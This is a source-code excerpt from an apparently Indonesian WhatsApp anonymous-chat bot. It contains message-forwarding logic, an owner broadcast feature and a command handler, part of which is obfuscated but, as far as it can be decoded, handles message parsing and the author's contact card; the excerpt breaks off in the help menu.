| if (mediaData.message.videoMessage.contextInfo) { 209 | const buff = await conn.downloadMediaMessage(mediaData) 210 | conn.sendMessage(targetChat, buff, MessageType.video, { caption: body ? body : '', quoted: { message: mediaData.message.videoMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 211 | return 212 | } 213 | const buff = await conn.downloadMediaMessage(mediaData) 214 | conn.sendMessage(targetChat, buff, MessageType.video, { caption: body ? body : '' }) 215 | } else if (type == 'contactMessage') { 216 | if (mediaData.message.contactMessage.contextInfo) { 217 | conn.sendMessage(targetChat, mediaData.message.contactMessage, 'contactMessage', { quoted: { message: mediaData.message.contactMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 218 | return 219 | } 220 | conn.sendMessage(targetChat, mediaData.message.contactMessage, 'contactMessage') 221 | } else if (type == 'locationMessage') { 222 | if (mediaData.message.locationMessage.contextInfo) { 223 | conn.sendMessage(targetChat, mediaData.message.locationMessage, 'locationMessage', { quoted: { message: mediaData.message.locationMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 224 | return 225 | } 226 | conn.sendMessage(targetChat, mediaData.message.locationMessage, 'locationMessage') 227 | } else if (type == 'liveLocationMessage') { 228 | if (mediaData.message.liveLocationMessage.contextInfo) { 229 | conn.sendMessage(targetChat, mediaData.message.liveLocationMessage, 'liveLocationMessage', { quoted: { message: mediaData.message.liveLocationMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 230 | return 231 | } 232 | conn.sendMessage(targetChat, mediaData.message.liveLocationMessage, 'liveLocationMessage') 233 | } else if (type == 'documentMessage') { 234 | if (mediaData.message.documentMessage.contextInfo) { 235 | const buff = await conn.downloadMediaMessage(mediaData) 236 | conn.sendMessage(targetChat, buff, 'documentMessage', { mimetype: mediaData.message.documentMessage.mimetype, filename: mediaData.message.documentMessage.title, quoted: { message: mediaData.message.documentMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 237 | return 238 | } 239 | const buff = await conn.downloadMediaMessage(mediaData) 240 | conn.sendMessage(targetChat, buff, 'documentMessage', { mimetype: mediaData.message.documentMessage.mimetype, filename: mediaData.message.documentMessage.title }) 241 | } else if (type == 'productMessage') { 242 | if (mediaData.message.stickerMessage.contextInfo) { 243 | conn.sendMessage(targetChat, mediaData.message.productMessage, 'productMessage', { quoted: { message: mediaData.message.productMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 244 | return 245 | } 246 | conn.sendMessage(targetChat, mediaData.message.productMessage, 'productMessage') 247 | } else if (type == 'contactsArrayMessage') { 248 | if (mediaData.message.contactsArrayMessage.contextInfo) { 249 | conn.sendMessage(targetChat, mediaData.message.contactsArrayMessage, 'contactsArrayMessage', { quoted: { message: mediaData.message.contactsArrayMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 250 | return 251 | } 252 | conn.sendMessage(targetChat, mediaData.message.contactsArrayMessage, 'contactsArrayMessage') 253 | } else if (type === 'extendedTextMessage') { 254 | let quoted = hurtz.message.extendedTextMessage.contextInfo ? mediaData : {} 255 | conn.sendMessage(targetChat, body, MessageType.text, { quoted: { ...quoted, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 256 | } 257 | } 258 | 259 | 260 | /*-----------------[ End Of Handler ]------------------*/ 261 | } catch (error) { 262 | console.log(error) 263 | clientsNow.forEach((client) => { 264 | if (!isClientLog) return 265 | client.send(chalk.red('ERR : ') + util.format(error)) 266 | }); 267 | } 268 | }; -------------------------------------------------------------------------------- /src/handler/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | 4 | var fs = require("fs"); 5 | var request = require('request') 6 | var chalk = require('chalk') 7 | var moment = require('moment') 8 | var { 9 | exec 10 | } = require('child_process') 11 | var util = require('util'); 12 | var delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms)) 13 | var time = moment(new Date()).format('HH:mm:ss DD/MM/YYYY') 14 | 15 | const { 16 | match, 17 | stop, 18 | isMatched 19 | } = require('../../lib/matchmaking') 20 | 21 | function ERRLOG(e) { 22 | console.log( 23 | chalk.redBright('[ ANCHT ] '), 24 | moment(new Date()).format('HH:mm:ss DD/MM/YYYY'), 25 | chalk.bgBlueBright("name: " + e.name + " message: " + e.message) 26 | ); 27 | } 28 | 29 | function getRemaining(endtime) { 30 | const total = Date.parse(endtime) - Date.parse(new Date()); 31 | const seconds = Math.floor((total / 1000) % 60); 32 | const minutes = Math.floor((total / 1000 / 60) % 60); 33 | const hours = Math.floor((total / (1000 * 60 * 60)) % 24); 34 | const days = Math.floor(total / (1000 * 60 * 60 * 24)); 35 | 36 | return { 37 | total, 38 | days, 39 | hours, 40 | minutes, 41 | seconds, 42 | }; 43 | } 44 | 45 | 46 | let handle; 47 | 48 | module.exports = handle = async ( 49 | Rstats, 50 | GroupSettingChange, 51 | Mimetype, 52 | MessageType, 53 | conn, 54 | hurtz, 55 | chat, 56 | clientsNow, 57 | isClientLog 58 | ) => { 59 | try { 60 | if (hurtz) Rstats.stop() 61 | if (hurtz.key.remoteJid == "status@broadcast") { 62 | return; 63 | } 64 | 65 | if (!hurtz.message) return; 66 | 67 | const a = ['4330LOeUTG', 'Sticker', 'Debug', 'fromMe', 'low', '13658LyovPv', '5nfOjhB', 'Not\x20a\x20vali', 'Created\x20By', 'includes', 'conversati', 'composing', 'stringify', 'jid', '\x20☠️🇮🇩', '196147miyDei', 'xtMessage', 'paused', 'END:VCARD', 'ings.json', '177539BaPabn', 'Contact', 'sage', 'vname', 'none', 'Owner', '0@s.whatsa', '4nslAqW', '1114057xqSIlO', 'BY\x20MRHRTZ*', 'thumbnailM', 'Owner\x20bot', 'ssage', 'audioMessa', 'remoteJid', 'ence', '1025836CEDsaG', 'ext', 'slice', 'caption', 'contacts', 'quotedM', 'endsWith', 'essage', 'sendMessag', 'extendedTe', '\x20MRHRTZ', 'greenBrigh', 'document', '\x20pesan', 'message', '149JUAGpe', 'i\x20error\x20nt', 'key', 'age', 'text', 'gan\x20digant', 'ar\x20nangid\x20', 'test', './src/sett', 'split', 'okey', 'error', 'substr', 'pp.net', 'forEach', 'D/MM/YYYY', 'imageMessa', '22ksRTGc', 'replace', '@s.whatsap', 'match', 'FN:', 'subject', 'quotedMess', '\x20di\x20', '@c.us', 'updatePres', 'Audio', 'VERSION:3.', 'HH:mm:ss\x20D', 'notify', 'user', 'mentionedT', 'parse', 'blueBright', '5\x205903\x20802', '021:+62\x2085', 'format', 'keys', 'documentMe', 'd\x20url!', '[\x20NOT\x20FOUN', 'chatRead', 'push', '[\x20ANCHT\x20]\x20', 'log', '76003LdxpGI', 'participan', '\x20Uni;\x0a', 'ephemeralM', 'groupMetad', 'contextInf', '\x20dari\x20', 'isAdmin', 'ORG:Ashoka', 'contact', 'stickerMes', 'ata', 'owner', 'videoMessa', 'send']; 68 | const l = function (c, d) { 69 | return b(c - -0x350, d); 70 | }; 71 | (function (c, d) { 72 | const k = function (c, d) { 73 | return b(c - 0x2d4, d); 74 | }; 75 | while (!![]) { 76 | try { 77 | const e = -parseInt(k(0x3df, 0x3be)) * -parseInt(k(0x3ac, '0x3bd')) + parseInt(k('0x3b2', '0x3bf')) * -parseInt(k(0x39d, '0x3b3')) + parseInt(k('0x3c8', 0x3ca)) + -parseInt(k('0x3b1', '0x3d3')) * parseInt(k('0x380', '0x35d')) + parseInt(k(0x3c0, '0x3a0')) * parseInt(k(0x3c7, '0x3df')) + -parseInt(k(0x3bb, 0x39a)) + -parseInt(k(0x3d0, 0x400)); 78 | if (e === d) break; 79 | else c['push'](c['shift']()); 80 | } catch (f) { 81 | c['push'](c['shift']()); 82 | } 83 | } 84 | }(a, 0x8a67d)); 85 | const time = moment(hurtz['messageTim' + 'estamp'][l(-0x274, -0x291)] * 0x3e8)[l(-'0x290', -'0x2c7')](l(-0x298, -'0x26f') + l(-0x2a6, -'0x271')); 86 | let settings = JSON[l(-0x294, -0x262)](fs['readFileSy' + 'nc'](l(-0x23d, -'0x20b') + l(-0x265, -'0x288'))); 87 | const from = hurtz['key']['remoteJid'], 88 | konten = JSON[l(-'0x26c', -0x281)](hurtz[l(-0x246, -0x230)], null, 0x2), 89 | { 90 | text, 91 | extendedText, 92 | audio, 93 | video, 94 | document, 95 | image 96 | } = MessageType, 97 | self = hurtz[l(-'0x243', -0x210)][l(-'0x275', -'0x283')], 98 | isGroup = from[l(-0x24e, -0x23c)]('@g.us'); 99 | let type = Object[l(-0x28f, -0x25b)](hurtz['message'])[0x0]; 100 | type = type === l(-0x24b, -0x240) + l(-'0x268', -'0x23d') && hurtz['message'][l(-0x24b, -0x218) + l(-0x268, -0x287)][l(-0x241, -0x22e)][l(-'0x26f', -'0x2a6')]('@') ? type = l(-0x295, -0x270) + l(-'0x253', -'0x243') : type; 101 | let hurtzText = hurtz; 102 | type == l(-'0x284', -'0x251') + l(-0x24d, -'0x235') && (type = Object[l(-0x28f, -0x27c)](hurtz[l(-0x246, -0x265)]['ephemeralM' + l(-'0x24d', -0x21d)][l(-0x246, -'0x232')]), hurtzText = hurtz[l(-'0x246', -0x22d)][l(-'0x284', -'0x288') + 'essage']); 103 | let body = type == 'conversati' + 'on' ? hurtzText[l(-0x246, -0x27a)]['conversati' + 'on'] : type == l(-'0x295', -'0x28d') + l(-0x253, -0x242) ? hurtzText[l(-0x246, -0x27e)][l(-0x24b, -'0x253') + l(-'0x268', -0x27e)][l(-0x241, -'0x240')] : type == l(-0x24b, -0x257) + l(-0x268, -'0x29f') ? hurtzText[l(-'0x246', -0x25f)][l(-0x24b, -0x220) + l(-'0x268', -0x25e)]['text'] : type == l(-0x2a5, -0x2bf) + 'ge' ? hurtzText['message'][l(-0x2a5, -0x2d4) + 'ge'][l(-0x251, -'0x267')] : type == l(-0x27d, -0x28c) + 'sage' ? l(-0x277, -'0x265') : type == l(-0x257, -'0x23a') + 'ge' ? l(-'0x29a', -'0x2a5') : type == l(-'0x27a', -0x273) + 'ge' ? hurtzText[l(-0x246, -'0x24e')][l(-0x27a, -0x259) + 'ge'][l(-'0x251', -0x283)] : type == l(-'0x28e', -'0x26a') + 'ssage' ? l(-'0x248', -'0x269') : type == 'contactMes' + l(-0x262, -0x252) ? l(-'0x263', -'0x250') : type == 'listResponseMessage' ? hurtz.message.listResponseMessage.title : type == 'buttonsResponseMessage' ? hurtz.message.buttonsResponseMessage.selectedButtonId : l(-'0x28c', -'0x2ab') + 'D\x20BODY\x20@Me' + 'chaBOT\x20]', 104 | bodyAsak = body[l(-0x2a9, -'0x2a1')](0x0, 0x28)['split']('\x0a')[0x0], 105 | args = body[l(-0x23c, -'0x208')](/ +/g), 106 | cmd = body['toLowerCas' + 'e']()[l(-0x23c, -0x257)]('\x20')[0x0] || '', 107 | prf = /^[°•π÷×¶∆£¢€¥®™✓_=|~!?@#$%^&.\/\\©^]/ [l(-0x23e, -0x21e)](cmd) ? cmd[l(-'0x2a1', -0x2cf)](/^[°•π÷×¶∆£¢€¥®™✓_=|~!?@#$%^&.\/\\©^]/gi) : '-', 108 | anticol = /[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g, 109 | isMedia = type === l(-'0x2a5', -0x29a) + 'ge' || type === 'videoMessa' + 'ge', 110 | isQuotedImage = type == l(-'0x24b', -0x254) + l(-0x268, -0x29f) && konten[l(-'0x26f', -'0x275')]('imageMessa' + 'ge'), 111 | isQuotedVideo = type == l(-'0x24b', -'0x21b') + 'xtMessage' && konten['includes']('videoMessa' + 'ge'), 112 | isQuotedSticker = type == 'extendedTe' + 'xtMessage' && konten[l(-'0x26f', -'0x26f')]('stickerMes' + l(-'0x262', -'0x24c')), 113 | isQuotedAudio = type == l(-0x24b, -'0x252') + 'xtMessage' && konten[l(-0x26f, -'0x2a1')](l(-'0x257', -'0x233') + 'ge'); 114 | if (type == 'listResponseMessage') { 115 | body = hurtz.message.listResponseMessage.title 116 | prf = body.slice(0, 1) 117 | } else if (type == 'buttonsResponseMessage') { 118 | body = hurtz.message.buttonsResponseMessage.selectedButtonId 119 | prf = body.slice(0, 1) 120 | } 121 | cmd = body.toLowerCase().split(/ +/g)[0] 122 | let typeQuoted = type == l(-0x24b, -'0x21b') + l(-'0x268', -'0x26e') && hurtz[l(-0x246, -'0x22f')][l(-'0x24b', -'0x27d') + 'xtMessage'] ? Object[l(-0x28f, -'0x285')](hurtz[l(-'0x246', -'0x22f')][l(-'0x24b', -0x22a) + l(-'0x268', -0x27c)][l(-0x282, -'0x25e') + 'o'] ? hurtz[l(-'0x246', -0x26c)][l(-0x24b, -'0x218') + l(-'0x268', -'0x232')][l(-0x282, -'0x251') + 'o']['quotedMess' + l(-'0x242', -'0x21f')] ? hurtz[l(-0x246, -0x227)][l(-'0x24b', -'0x23e') + l(-0x268, -'0x285')]['contextInf' + 'o'][l(-0x29e, -0x2cf) + l(-'0x242', -0x22a)] : { 123 | 'mentionedText': l(-'0x270', -0x25a) + l(-0x24a, -'0x21c') 124 | } : { 125 | 'thumbnailMessage': 'MRHRTZ\x20Jan' + l(-'0x240', -0x248) + l(-0x244, -'0x21c') + l(-0x23f, -0x240) + ':v' 126 | })[0x0] : type, 127 | hurtzMediaData = type == l(-0x24b, -0x225) + l(-'0x268', -'0x2a0') && Object[l(-'0x28f', -'0x2a6')](JSON[l(-'0x294', -0x277)](JSON['stringify'](hurtz)[l(-0x2a3, -0x2ce)](l(-'0x24f', -0x257), 'm'))['message']) != 'ephemeralM' + l(-0x24d, -'0x25e') ? JSON['parse'](JSON[l(-'0x26c', -'0x24c')](hurtz)[l(-0x2a3, -0x2a3)](l(-'0x24f', -'0x252'), 'm'))[l(-'0x246', -'0x254')][l(-0x24b, -0x24b) + l(-'0x268', -0x26c)][l(-'0x282', -0x2ba) + 'o'] : hurtzText; 128 | type == l(-0x24b, -0x253) + 'xtMessage' && Object[l(-0x28f, -0x263)](JSON[l(-0x294, -'0x289')](JSON[l(-0x26c, -'0x27a')](hurtz)[l(-0x2a3, -0x27d)](l(-0x24f, -0x23b), 'm'))[l(-'0x246', -0x244)]) == l(-'0x284', -'0x294') + l(-'0x24d', -'0x245') && JSON[l(-0x294, -'0x2a2')](JSON[l(-0x26c, -0x284)](hurtz)['replace']('quotedM', 'm'))[l(-'0x246', -'0x25e')][l(-0x284, -0x286) + l(-'0x24d', -0x261)][l(-'0x246', -'0x23b')][l(-'0x24b', -0x232) + l(-0x268, -0x243)][l(-0x282, -0x2a0) + 'o'][l(-0x246, -'0x267')] && (typeQuoted = Object[l(-'0x28f', -0x283)](JSON['parse'](JSON[l(-'0x26c', -0x253)](hurtz)[l(-'0x2a3', -0x29f)]('quotedM', 'm'))['message'][l(-'0x284', -'0x2bb') + l(-0x24d, -'0x224')][l(-0x246, -0x245)][l(-0x24b, -'0x227') + l(-0x268, -0x29b)]['contextInf' + 'o'][l(-'0x246', -0x277)]), hurtzMediaData = JSON['parse'](JSON[l(-'0x26c', -'0x245')](hurtz)[l(-'0x2a3', -0x2c1)](l(-0x24f, -0x254), 'm'))[l(-0x246, -0x238)][l(-'0x284', -0x293) + l(-'0x24d', -'0x229')][l(-0x246, -'0x220')][l(-0x24b, -0x251) + 'xtMessage'][l(-'0x282', -0x278) + 'o']); 129 | 130 | function b(c, d) { 131 | c = c - 0xa5; 132 | let e = a[c]; 133 | return e; 134 | } 135 | const mediaData = type == l(-0x24b, -'0x270') + 'xtMessage' ? typeQuoted == l(-'0x25a', -'0x22f') + l(-0x24d, -0x24b) ? hurtzText : hurtzMediaData : hurtzText; 136 | let typesWA = [l(-0x26e, -'0x27f') + 'on', l(-0x24b, -'0x21f') + l(-'0x268', -0x26f), l(-'0x295', -0x2cc) + l(-'0x253', -0x21c), 'imageMessa' + 'ge', 'stickerMes' + l(-0x262, -'0x290'), 'audioMessa' + 'ge', l(-'0x27a', -'0x249') + 'ge', l(-'0x28e', -0x258) + 'ssage', l(-'0x25a', -'0x22c') + 'essage']; 137 | const bodyQuoted = typesWA[l(-'0x26f', -'0x23d')](type === l(-'0x24b', -'0x21c') + 'xtMessage' && hurtzMediaData ? Object['keys'](hurtzMediaData[l(-'0x246', -'0x219')] ? hurtzMediaData[l(-0x246, -'0x23f')] : { 138 | 'MRHRTZ': l(-'0x2ab', -'0x2a1') 139 | })[0x0] : l(-'0x260', -'0x282')) ? typeQuoted == 'conversati' + 'on' ? hurtzMediaData[l(-0x246, -'0x270')][l(-'0x26e', -'0x239') + 'on'] : typeQuoted == l(-0x24b, -0x21f) + l(-0x268, -0x24e) ? hurtzMediaData['message'][l(-0x24b, -'0x27a') + l(-'0x268', -0x23f)]['text'] : typeQuoted == l(-0x295, -0x25e) + 'ext' ? hurtzMediaData[l(-0x246, -0x262)][l(-0x24b, -0x251) + l(-0x268, -0x261)][l(-'0x241', -0x20f)] : typeQuoted == 'imageMessa' + 'ge' ? hurtzMediaData['message'][l(-0x2a5, -'0x295') + 'ge'][l(-0x251, -'0x259')] : typeQuoted == l(-0x27d, -0x279) + l(-'0x262', -0x23f) ? l(-'0x277', -0x25d) : typeQuoted == l(-0x257, -'0x269') + 'ge' ? l(-'0x29a', -0x295) : typeQuoted == l(-0x27a, -0x255) + 'ge' ? hurtzMediaData[l(-'0x246', -'0x214')]['videoMessa' + 'ge'][l(-'0x251', -'0x25d')] : typeQuoted == l(-'0x28e', -'0x282') + l(-0x258, -0x28c) ? l(-'0x248', -'0x24b') : typeQuoted == l(-0x25a, -'0x276') + 'essage' ? hurtzMediaData[l(-0x246, -'0x220')] : '' : ''; 140 | settings[l(-'0x276', -'0x2a6')] ? console[l(-'0x288', -0x2b2)](JSON['stringify'](hurtz)) : ''; 141 | let toggleCmd = ![]; 142 | const isCmd = toggleCmd, 143 | query = args[l(-'0x252', -0x234)](0x1)['join']('\x20'), 144 | sender = self ? conn[l(-0x296, -0x292)][l(-0x26b, -'0x23f')] : isGroup ? hurtz[l(-0x286, -'0x266') + 't'] : hurtz[l(-'0x243', -'0x230')][l(-'0x256', -'0x285')], 145 | botNumber = conn[l(-'0x296', -0x261)]['jid'], 146 | noSym = /[-\s+]/g, 147 | groupMetadata = isGroup ? await conn[l(-'0x283', -0x27c) + l(-0x27c, -'0x246')](from) : '', 148 | groupName = isGroup ? groupMetadata[l(-0x29f, -0x27a)] : '', 149 | groupId = isGroup ? groupMetadata['id'] : '', 150 | isImageMsg = type == 'imageMessa' + 'ge' ? !![] : ![], 151 | isStickerMsg = type == l(-'0x27d', -'0x273') + 'sage' ? !![] : ![], 152 | isAudioMsg = type == l(-0x257, -0x27e) + 'ge' ? !![] : ![], 153 | isVideoMsg = type == l(-'0x27a', -'0x258') + 'ge' ? !![] : ![], 154 | nomerOwner = [settings[l(-'0x25f', -'0x295')], conn[l(-0x296, -'0x28f')][l(-'0x26b', -0x287)]], 155 | isOwner = nomerOwner[l(-0x26f, -'0x2a2')](sender), 156 | isOwnerGroup = isGroup ? (await conn['groupMetad' + l(-'0x27c', -'0x277')](from))[l(-'0x27b', -'0x278')] == sender['replace'](l(-0x2a2, -0x2c4) + 'p.net', l(-0x29c, -'0x27c')) ? !![] : ![] : ''; 157 | let expvipnum = [], 158 | adminGroups = []; 159 | const metadata = isGroup ? await conn[l(-'0x283', -0x27f) + l(-'0x27c', -'0x26d')](from) : '', 160 | partc = metadata['participan' + 'ts'] ? metadata['participan' + 'ts'] : []; 161 | for (let adm of partc) { 162 | adm[l(-'0x280', -'0x265')] && adminGroups[l(-0x28a, -0x27d)](adm[l(-0x26b, -'0x282')]); 163 | } 164 | const isAdmin = adminGroups[l(-0x26f, -0x25b)](sender), 165 | isBotAdmin = adminGroups[l(-'0x26f', -'0x272')](botNumber), 166 | jid = sender, 167 | conts = hurtz[l(-'0x243', -'0x21a')][l(-0x275, -'0x275')] ? conn['user'][l(-'0x26b', -'0x255')] : conn[l(-'0x250', -'0x260')][sender] || { 168 | 'notify': sender[l(-0x2a3, -0x26c)](/@.+/, '') 169 | }, 170 | pushname = hurtz[l(-'0x243', -'0x231')][l(-0x275, -0x28c)] ? conn[l(-0x296, -'0x2a8')]['name'] : conts[l(-0x297, -0x293)] || conts[l(-'0x261', -0x287)] || conts['name'] || '-'; 171 | 172 | function customQuote(c) { 173 | const m = function (c, d) { 174 | return l(c - 0xea, d); 175 | }; 176 | return { 177 | 'key': { 178 | 'remoteJid': m(-0x174, -0x14f) + m(-0x1be, -0x1aa), 179 | 'fromMe': ![] 180 | }, 181 | 'message': { 182 | 'conversation': c 183 | } 184 | }; 185 | } 186 | 187 | function toBuffer(c) { 188 | return new Promise((d, e) => { 189 | const n = function (c, d) { 190 | return b(c - '0x3b8', d); 191 | }; 192 | if (!/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/gi [n(0x4ca, 0x498)](c)) return console['error'](n(0x497, 0x48b) + n(0x47b, 0x496)); 193 | request({ 194 | 'url': c, 195 | 'encoding': null 196 | }, (f, g, h) => { 197 | d(h); 198 | }); 199 | }); 200 | } 201 | async function mengetik(c) { 202 | const o = function (c, d) { 203 | return l(d - 0x146, c); 204 | }; 205 | await conn[o(-0x11f, -0x145)](c), await conn['updatePres' + o(-'0x12d', -0x10f)](c, o(-'0xf3', -0x127)); 206 | } 207 | async function balasNp(c, d) { 208 | const p = function (c, d) { 209 | return l(c - 0x3ba, d); 210 | }; 211 | mengetik(c), conn[p('0x16e', '0x170') + 'e'](c, d, text); 212 | } 213 | async function balas(c, d) { 214 | const q = function (c, d) { 215 | return l(d - '0x62', c); 216 | }; 217 | mengetik(c), conn[q(-0x1bc, -0x1ea) + 'e'](c, d, text, { 218 | 'quoted': hurtz 219 | }); 220 | } 221 | async function sendDariUrlNoReply(c, d, e, f) { 222 | const r = function (c, d) { 223 | return l(c - '0x19e', d); 224 | }; 225 | if (!/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/gi [r(-0xa0, -'0x74')](d)) return console[r(-'0x10c', -0xe3)](r(-'0xd3', -0xca) + r(-'0xef', -0x126)); 226 | await conn[r(-'0xfd', -'0xe0') + 'ence'](c, r(-'0xcf', -'0xef')); 227 | const g = f || ''; 228 | request({ 229 | 'url': d, 230 | 'encoding': null 231 | }, async (h, i, j) => { 232 | const s = function (c, d) { 233 | return r(c - -'0xab', d); 234 | }; 235 | conn[s(-'0x159', -'0x149') + 'e'](c, j, e, { 236 | 'quoted': { 237 | 'key': { 238 | 'remoteJid': s(-0x16b, -'0x17e') + s(-0x1b5, -0x1e2), 239 | 'fromMe': ![] 240 | }, 241 | 'message': { 242 | 'conversation': '🇮🇩☠️\x20*ANCHT\x20' + s(-0x168, -0x17b) + s(-'0x177', -0x1a0) 243 | } 244 | }, 245 | 'caption': g 246 | }), await conn[s(-'0x1a8', -0x185) + s(-'0x162', -'0x12b')](c, s(-'0x174', -0x15c)); 247 | }); 248 | } 249 | async function sendDariUrl(c, d, e, f) { 250 | const t = function (c, d) { 251 | return l(c - -0x32c, d); 252 | }; 253 | if (!/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/gi [t(-'0x56a', -0x550)](d)) return console[t(-'0x5d6', -0x5a4)](t(-'0x59d', -'0x565') + t(-'0x5b9', -0x5d0)); 254 | await conn[t(-'0x5c7', -'0x5d9') + t(-0x581, -0x56f)](c, t(-0x599, -0x5d1)); 255 | const g = f || ''; 256 | request({ 257 | 'url': d, 258 | 'encoding': null 259 | }, async (h, i, j) => { 260 | const u = function (c, d) { 261 | return t(c - '0x133', d); 262 | }; 263 | conn[u(-'0x445', -'0x436') + 'e'](c, j, e, { 264 | 'quoted': hurtz, 265 | 'caption': g 266 | }), await conn[u(-'0x494', -'0x49d') + u(-'0x44e', -0x45b)](c, u(-0x460, -'0x444')); 267 | }); 268 | } 269 | if (!isGroup && isCmd) { 270 | const teks = chalk[l(-0x249, -'0x21b') + 't'](l(-'0x289', -0x2b7) + '\x20') + time + chalk[l(-0x293, -'0x2a0')](args[0x0]) + '\x20dari\x20' + chalk['blueBright'](pushname[l(-0x23c, -'0x25b')]('\x0a')[0x0]); 271 | console[l(-0x288, -'0x299')](teks), clientsNow['forEach'](c => { 272 | if (!isClientLog) return; 273 | c['send'](teks); 274 | }); 275 | } 276 | if (!isGroup && !isCmd) { 277 | const teks = chalk['greenBrigh' + 't']('[\x20ANCHT\x20]\x20' + '\x20') + time + chalk[l(-'0x293', -0x286)](!![] ? '\x20' + bodyAsak : l(-'0x247', -'0x231')) + '\x20dari\x20' + chalk[l(-0x293, -0x2c1)](pushname[l(-'0x23c', -'0x224')]('\x0a')[0x0]); 278 | console['log'](teks), clientsNow[l(-'0x2a7', -'0x2ac')](c => { 279 | if (!isClientLog) return; 280 | c['send'](teks); 281 | }); 282 | } 283 | if (isCmd && isGroup) { 284 | const teks = chalk['greenBrigh' + 't'](l(-0x289, -'0x2bb') + '\x20') + time + chalk['blueBright'](args[0x0]) + '\x20dari\x20' + chalk['blueBright'](pushname[l(-0x23c, -0x22d)]('\x0a')[0x0]) + l(-0x29d, -0x28c) + chalk['blueBright'](groupName); 285 | console[l(-'0x288', -0x2bc)](teks), clientsNow[l(-0x2a7, -0x2c4)](c => { 286 | const v = function (c, d) { 287 | return l(c - -'0x29b', d); 288 | }; 289 | if (!isClientLog) return; 290 | c[v(-0x514, -0x54a)](teks); 291 | }); 292 | } 293 | if (!isCmd && isGroup) { 294 | const teks = chalk[l(-0x249, -0x211) + 't'](l(-0x289, -'0x257') + '\x20') + time + chalk[l(-'0x293', -'0x2b2')](!![] ? '\x20' + bodyAsak : l(-'0x247', -'0x261')) + l(-0x281, -'0x27e') + chalk[l(-0x293, -'0x28b')](pushname[l(-0x23c, -'0x24b')]('\x0a')[0x0]) + l(-'0x29d', -'0x29d') + chalk['blueBright'](groupName); 295 | console[l(-0x288, -0x273)](teks), clientsNow[l(-'0x2a7', -0x2ac)](c => { 296 | const w = function (c, d) { 297 | return l(c - '0x84', d); 298 | }; 299 | if (!isClientLog) return; 300 | c[w(-0x1f5, -0x1ef)](teks); 301 | }); 302 | } 303 | 304 | if (cmd == prf + 'author') { 305 | const vcard1 = 'BEGIN:VCAR' + 'D\x0a' + (l(-0x299, -0x268) + '0\x0a') + l(-0x2a0, -0x2ab) + l(-0x259, -'0x231') + '\x0a' + (l(-0x27f, -0x247) + l(-'0x285', -'0x254')) + ('TEL;type=C' + 'ELL;type=V' + 'OICE;waid=' + '6285559038' + l(-'0x291', -0x262) + l(-0x292, -0x27f) + '1\x0a') + l(-'0x266', -0x23b); 306 | conn[l(-0x24c, -'0x262') + 'e'](from, { 307 | 'displayname': l(-'0x259', -'0x229'), 308 | 'vcard': vcard1 309 | }, MessageType[l(-'0x27e', -0x283)], { 310 | 'quoted': hurtz 311 | }); 312 | } 313 | 314 | 315 | let db_language = JSON.parse(fs.readFileSync('./src/database/language.json')) 316 | const sender_lang = { 317 | id: [], 318 | en: [] 319 | } 320 | db_language.map(rest => { 321 | if (rest.lang == 'id') { 322 | sender_lang.id.push(rest.sender) 323 | } else { 324 | sender_lang.en.push(rest.sender) 325 | } 326 | }) 327 | const listed_sender = [...sender_lang.id, ...sender_lang.en] 328 | const lang = listed_sender.includes(sender) ? sender_lang.en.includes(sender) ? 'en' : 'id' : 'id' 329 | 330 | 331 | if (body) { 332 | let bc = JSON.parse(fs.readFileSync('./src/database/client-log.json')) 333 | if (bc.status && isOwner) { 334 | if (body.toLowerCase() == 'y') { 335 | balas(from, lang == 'id' ? 'Akses diterima..' : 'Access accepted..') 336 | if (bc.media != null) { 337 | for (let i = 0; i < bc.users.length; i++) { 338 | conn.sendMessage(bc.users[i], bc.media, MessageType.image, { 339 | caption: bc.text 340 | }) 341 | if (i === bc.users.length - 1) { 342 | balasNp(from, lang == 'id' ? `Broadcast sukses ✅` : `Broadcast success ✅`) 343 | bc.status = false 344 | bc.users = [] 345 | bc.media = null 346 | bc.text = "" 347 | fs.writeFileSync('./src/database/client-log.json', JSON.stringify(bc, null, 5)) 348 | } 349 | } 350 | } else { 351 | for (let i = 0; i < bc.users.length; i++) { 352 | conn.sendMessage(bc.users[i], bc.text, MessageType.text) 353 | if (i === bc.users.length - 1) { 354 | balasNp(from, lang == 'id' ? `Broadcast sukses ✅` : `Broadcast success ✅`) 355 | bc.status = false 356 | bc.users = [] 357 | bc.media = null 358 | bc.text = "" 359 | fs.writeFileSync('./src/database/client-log.json', JSON.stringify(bc, null, 5)) 360 | } 361 | } 362 | } 363 | } else if (body.toLowerCase() == 'n') { 364 | balas(from, lang == 'id' ? 'Broadcast berhasil dibatalkan ❌' : 'Broadcast canceled successfully ❌') 365 | bc.status = false 366 | bc.users = [] 367 | bc.media = null 368 | bc.text = "" 369 | fs.writeFileSync('./src/database/client-log.json', JSON.stringify(bc, null, 5)) 370 | } 371 | } 372 | } 373 | 374 | /*-----------------------[ Handler ]---------------------*/ 375 | 376 | if (hurtz.key.fromMe) return // This is not a selfbot 377 | if (from.includes('@g.us')) return // Private Chat only 378 | 379 | switch (cmd) { 380 | case prf + 'help': 381 | case prf + 'menu': 382 | let str = `${lang == 'id' ? `Halo ${pushname}👋, berikut perintah anonymous chat bot` : `Hi ${pushname}👋, following the anonymous 